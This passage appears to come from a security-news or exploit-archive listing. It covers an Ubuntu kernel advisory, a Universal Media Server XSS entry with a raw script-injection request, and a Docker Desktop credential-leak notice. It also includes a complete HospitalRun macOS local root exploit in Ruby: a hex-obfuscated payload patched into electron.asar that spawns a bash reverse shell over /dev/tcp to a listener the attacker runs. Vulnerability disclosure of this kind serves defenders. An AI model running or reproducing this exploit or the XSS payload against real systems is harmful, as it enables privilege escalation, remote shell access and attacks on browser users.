cause a denial of service (memory exhaustion). (CVE-2023-1074)

Mingi Cho discovered that the netfilter subsystem in the Linux kernel did  
not properly initialize a data structure, leading to a null pointer  
dereference vulnerability. An attacker could use this to cause a denial of  
service (system crash). (CVE-2023-1095)

Kyle Zeng discovered that the ATM VC queuing discipline implementation in  
the Linux kernel contained a type confusion vulnerability in some  
situations. An attacker could use this to cause a denial of service (system  
crash). (CVE-2023-23455)

Lianhui Tang discovered that the MPLS implementation in the Linux kernel  
did not properly handle certain sysctl allocation failure conditions,  
leading to a double-free vulnerability. An attacker could use this to cause  
a denial of service or possibly execute arbitrary code. (CVE-2023-26545)

It was discovered that the NTFS file system implementation in the Linux  
kernel did not properly validate attributes in certain situations, leading  
to an out-of-bounds read vulnerability. A local attacker could possibly use  
this to expose sensitive information (kernel memory). (CVE-2023-26607)

Duoming Zhou discovered that a race condition existed in the infrared  
receiver/transceiver driver in the Linux kernel, leading to a use-after-  
free vulnerability. A privileged attacker could use this to cause a denial  
of service (system crash) or possibly execute arbitrary code.  
(CVE-2023-1118)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 16.04 ESM:  
   linux-image-4.4.0-1155-aws      4.4.0-1155.170  
   linux-image-aws                 4.4.0.1155.159

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
   https://ubuntu.com/security/notices/USN-6001-1  
   CVE-2020-36516, CVE-2021-26401, CVE-2021-28711, CVE-2021-28712,  
   CVE-2021-28713, CVE-2021-3428, CVE-2021-3659, CVE-2021-3669,  
   CVE-2021-3732, CVE-2021-3772, CVE-2021-4149, CVE-2021-4203,  
   CVE-2021-45868, CVE-2022-0487, CVE-2022-0494, CVE-2022-0617,  
   CVE-2022-1016, CVE-2022-1195, CVE-2022-1205, CVE-2022-1462,  
   CVE-2022-1516, CVE-2022-1974, CVE-2022-1975, CVE-2022-20132,  
   CVE-2022-20572, CVE-2022-2318, CVE-2022-2380, CVE-2022-2503,  
   CVE-2022-2663, CVE-2022-2991, CVE-2022-3061, CVE-2022-3111,  
   CVE-2022-3303, CVE-2022-3628, CVE-2022-36280, CVE-2022-3646,  
   CVE-2022-36879, CVE-2022-3903, CVE-2022-39188, CVE-2022-41218,  
   CVE-2022-41849, CVE-2022-41850, CVE-2022-4662, CVE-2022-47929,  
   CVE-2023-0394, CVE-2023-1074, CVE-2023-1095, CVE-2023-1118,  
   CVE-2023-23455, CVE-2023-26545, CVE-2023-26607

Ubuntu Security Notice USN-6001-1

Universal Media Server version 13.2.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Universal Media Server 13.2.1 Cross Site Scripting # Google Dork: NA# Date: 01/04/2023# Exploit Author: Yehia Elghaly - Mrvar0x# Vendor Homepage: https://www.universalmediaserver.com/# Software Link: https://www.universalmediaserver.com/download/# Version: 13.2.1# Tested on: Windows 7 / 10# CVE: N/ASummary: Universal Media Server is a free DLNA, UPnP and HTTP/S Media Server.Support all major operating systems, with versions for Windows, Linux and macOS.Description: The attacker can able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.: Reflected XSS found on the follwoing paths GET /%3Cscript%3Ealert('XSSYF')%3C/script%3E HTTP/1.1Host: 172.16.110.132:9001User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1[Affected Component]//about/accounts/actions/logs/player/settings/shared/v1/api/about/|echo

Universal Media Server 13.2.1 Cross Site Scripting

Unified Remote version 3.13.0 suffers from a remote code execution vulnerability.

Unified Remote 3.13.0 Remote Code Execution

HospitalRun version 1.0.0-beta local root exploit for macOS.

    # Exploit Title: HospitalRun  1.0.0-beta - Local Root Exploit for macOS# Written by Jean Pereira <info@cytres.com># Date: 2023/03/04# Vendor Homepage: https://hospitalrun.io# Software Link: https://github.com/HospitalRun/hospitalrun-frontend/releases/download/1.0.0-beta/HospitalRun.dmg# Version: 1.0.0-beta# Tested on: macOS Ventura 13.2.1 (22D68)# Impact: Command Execution, Privilege Escalation# Instructions:# Run local TCP listener with (e.g. nc -l 2222)# Run exploit# Wait for HospitalRun to be executed# Profit (privileged rights e.g. root are gained)# Hotfix: Remove write permissions from electron.asar to patch this vulnerability# Exploit:buffer =  "\x63\x6F\x6E\x73\x74\x20\x72\x65\x6E" +          "\x64\x65\x72\x50\x72\x6F\x63\x65\x73" +          "\x73\x50\x72\x65\x66\x65\x72\x65\x6E" +          "\x63\x65\x73\x20\x3D\x20\x70\x72\x6F" +          "\x63\x65\x73\x73\x2E\x61\x74\x6F\x6D" +          "\x42\x69\x6E\x64\x69\x6E\x67\x28\x27" +          "\x72\x65\x6E\x64\x65\x72\x5F\x70\x72" +          "\x6F\x63\x65\x73\x73\x5F\x70\x72\x65" +          "\x66\x65\x72\x65\x6E\x63\x65\x73\x27" +          "\x29\x2E\x66\x6F\x72\x41\x6C\x6C\x57" +          "\x65\x62\x43\x6F\x6E\x74\x65\x6E\x74" +          "\x73\x28\x29"payload = "\x72\x65\x71\x75\x69\x72\x65\x28\x22" +          "\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F" +          "\x63\x65\x73\x73\x22\x29\x2E\x65\x78" +          "\x65\x63\x53\x79\x6E\x63\x28\x22\x2F" +          "\x62\x69\x6E\x2F\x62\x61\x73\x68\x20" +          "\x2D\x63\x20\x27\x65\x78\x65\x63\x20" +          "\x62\x61\x73\x68\x20\x2D\x69\x20\x3E" +          "\x2F\x64\x65\x76\x2F\x74\x63\x70\x2F" +          "\x30\x2E\x30\x2E\x30\x2E\x30\x2F\x32" +          "\x32\x32\x32\x20\x30\x3E\x26\x31\x27" +          "\x22\x29"nopsled = "\x2F\x2A\x2A\x2A\x2A" +          "\x2A\x2A\x2A\x2A\x2F"File.open("/Applications/HospitalRun.app/Contents/Resources/electron.asar", "rb+") do |file|  electron = file.read  electron.gsub!(buffer, payload + nopsled)  file.pos = 0  file.write(electron)end

HospitalRun 1.0.0-beta macOS Local Root

In Docker Desktop 4.17.x the Artifactory Integration falls back to sending registry credentials over plain HTTP if the HTTPS health check has failed. A targeted network sniffing attack can lead to a disclosure of sensitive information. Only users who have Access Experimental Features enabled and have logged in to a private registry are affected.

Tag

#mac